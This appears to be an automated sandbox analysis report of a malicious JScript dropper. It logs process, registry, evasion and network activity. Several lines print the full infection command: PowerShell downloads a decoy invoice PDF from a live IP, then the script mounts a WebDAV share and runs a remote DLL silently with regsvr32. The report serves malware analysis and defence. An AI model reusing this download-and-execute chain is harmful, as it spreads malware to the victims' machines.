Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2589.js.csv");ITextStream.WriteLine(" entry:7659 f:glgxvraio");ITextStream.WriteLine(" exec:2 f:glgxvraio");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3710			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6182			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6396	Thread sleep count: 3710 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6584	Thread sleep count: 6182 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2920	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1816	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3326112691.0000024769C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000003.2109526764.000002513D97F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120526896.000002513D918000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2121288036.000002513D97F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3327447637.000002476F254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

